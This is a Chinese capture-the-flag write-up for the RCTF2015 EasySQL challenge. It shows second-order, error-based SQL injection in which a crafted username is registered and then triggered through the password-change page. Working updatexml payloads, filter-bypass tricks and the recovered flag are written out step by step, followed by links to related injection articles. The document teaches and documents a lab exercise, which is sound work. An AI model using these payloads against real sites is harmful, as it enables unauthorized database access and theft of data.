[RCTF2015]EasySQL-1|SQL注入
1、打开之后只有登录和注册两个功能,界面如下:

2、随便注册一个账户并进行登录,(注册admin时显示该账户已存在,考虑到是不是要获取到admin账户),发现可以进行改密操作,结果如下:

3、抓取各个页面的数据包未发现有用的信息,修改密码的数据包中也不存在明文账户信息,此时想到后台更新密码语句应该为:update password='xxxx' where username="xxxx",所以我们直接注册用户名为admin"#来闭合sql语句和注释掉后面的sql语句,并admin"#账户的密码,修改后的密码即为admin账户的密码,结果如下:

4、然而并没有什么用,admin账户和自己注册的账户显示的信息一样,但是通过上面我们也发现我们注册的账户明信息存在二次注入行为才导致了admin账户的密码被修改,那我们就需要对注册的账户名进行操作了,因为更改密码未回显信息,那这里只能考虑报错注入。在注册界面尝试时发现and、order等部分关键词被过滤,因此payload:asd"&&(updatexml(1,concat(0x7e,database(),0x7e),1))#,在修改密码时获得数据库名字为:web_sqli,结果如下:

5、获取数据库名字后就需要开始获取表的名字,修改payload:asd"&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#,获取到表的名字为:article、flag、users,结果如下:

6、获取到表的名字之后那就获取列的名字,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#,成功获取到列明:name,pwd,email,real_flag_1s_her,但是这里一定要注意updatexml函数只能返回32位,所以最后一个列明未必完整,最终列明为:name,pwd,email,real_flag_1s_here,其中concat后面的1在修改为0x7e的时候会因updatexml函数的限制而无法完整输出列明,删除时会导致第一列的name信息丢失,但是在本地进行测试时并不会出现第一列数据丢失的情况(不知道原因),结果如下:



7、获取到列明信息后直接读取flag信息,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users))),1))#,结果如下:

8、很明显flag值中存在一些和flag无关的数据,因此就需要获取自己需要的数据,此处采用正则表达式来获取flag值,payload:asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#,结果如下:

9、获取的flag值因为报错函数的限制,未完全输出,因为分割函数都被过滤了,这里只能采用reverse函数将flag逆向输出,然后与正向的进行拼接获得,payload:asd"&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#,结果如下:

10、通过脚本或者sql语句将获得倒叙的flag值转回正序,最终得到flag值:flag{703ebda2-7058-4ad0-9cb0-dfeecdaba99b}。
将倒叙的flag值转成正序:
str= '}b99abadceefd-0bc9-0da4-8507-2ad'
str=str[::-1]
print(str)
或者mysql执行语句:
select reverse('}b99abadceefd-0bc9-0da4-8507-2ad');

[RCTF2015]EasySQL-1|SQL注入的更多相关文章
- [RCTF2015]EasySQL
[RCTF2015]EasySQL EasySQL github 打开靶机,是如下界面 到注册页面,试了一下,username 和 email 处有过滤,直接 fuzz 一下哪些字符被禁了 注册成功之 ...
- BUUCTF[归纳]sql注入相关题目
这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
随机推荐
- 归约与分组 - 读《Java 8实战》
区分Collection,Collector和collect 代码中用到的类与方法用红框标出,可从git库中查看 收集器用作高级归约 // 按货币对交易进行分组 Map<Currency, Li ...
- 好客租房6-React脚手架的应用(细节)
3.2使用react脚手架初始化 npx命令介绍 npm v5.2.0引入的一条命令 目的:提升包内提供的命令行工具的使用体验 原先:先安装脚手架包 再使用这个包中提供的命令 现在无需安装脚手架包 就 ...
- Fastflow——基于golang的轻量级工作流框架
Fastflow 是什么?用一句话来定义它:一个 基于golang协程.支持水平扩容的分布式高性能工作流框架. 它具有以下特点: 易用性:工作流模型基于 DAG 来定义,同时还提供开箱即用的 API, ...
- 学习Linux须知1.2之Linux命令的实战
(一)学习Linux 的准备工作 1.在线学习linux 学习网站推荐:Linux 基础入门_Linux - 蓝桥云课 (lanqiao.cn) 2.连接远程服务器学习[下文的案例就是使用xshell ...
- AMS 新闻视频广告的云原生容器化之路
作者 卓晓光,腾讯广告高级开发工程师,负责新闻视频广告整体后台架构设计,有十余年高性能高可用海量后台服务开发和实践经验.目前正带领团队完成云原生技术栈的全面转型. 吴文祺,腾讯广告开发工程师,负责新闻 ...
- 【Unity Shader学习笔记】Unity基础纹理-法线贴图
1 高度纹理 使用一张纹理改变物体表面法线,为模型提供更多细节. 有两种主要方法: 1.高度映射:使用一张高度纹理(height map)来模拟表面位移(displacement).得到一个修改后的法 ...
- 拭目以待!JNPF .NET将更新.NET 6技术,同时上线 3.4.1 版本
2022年5月30日,福建引迈即将上线JNPF开发平台的.NET 6版本,在产品性能上做了深度优化,且极大的提升了工作效率,加强了对云服务的改进升级,全面提升用户的使用体验. JNPF是一个以PaaS ...
- HTML行内元素与块级元素有哪些及区别详解
转自 https://www.jb51.net/web/724286.html 这篇文章主要介绍了HTML行内元素与块级元素有哪些及区别详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具 ...
- 高度灵活可定制的PC布局:头部按钮、左边栏、右边栏、状态栏
什么是自适应布局 CabloyJS提供了一套布局管理器,实现自适应布局 关于自适应布局的概念,强烈建议先阅读以下两篇文章: 自适应布局:pc = mobile + pad 自适应布局:视图尺寸 什么是 ...
- 使用Redis实现购物车功能
增加购物车商品 假设ID为1001的向购物车中存放了3个商品,产品ID分别为10021.10025.10079 hset cart:1001 10021 1 hset cart:1001 10025 ...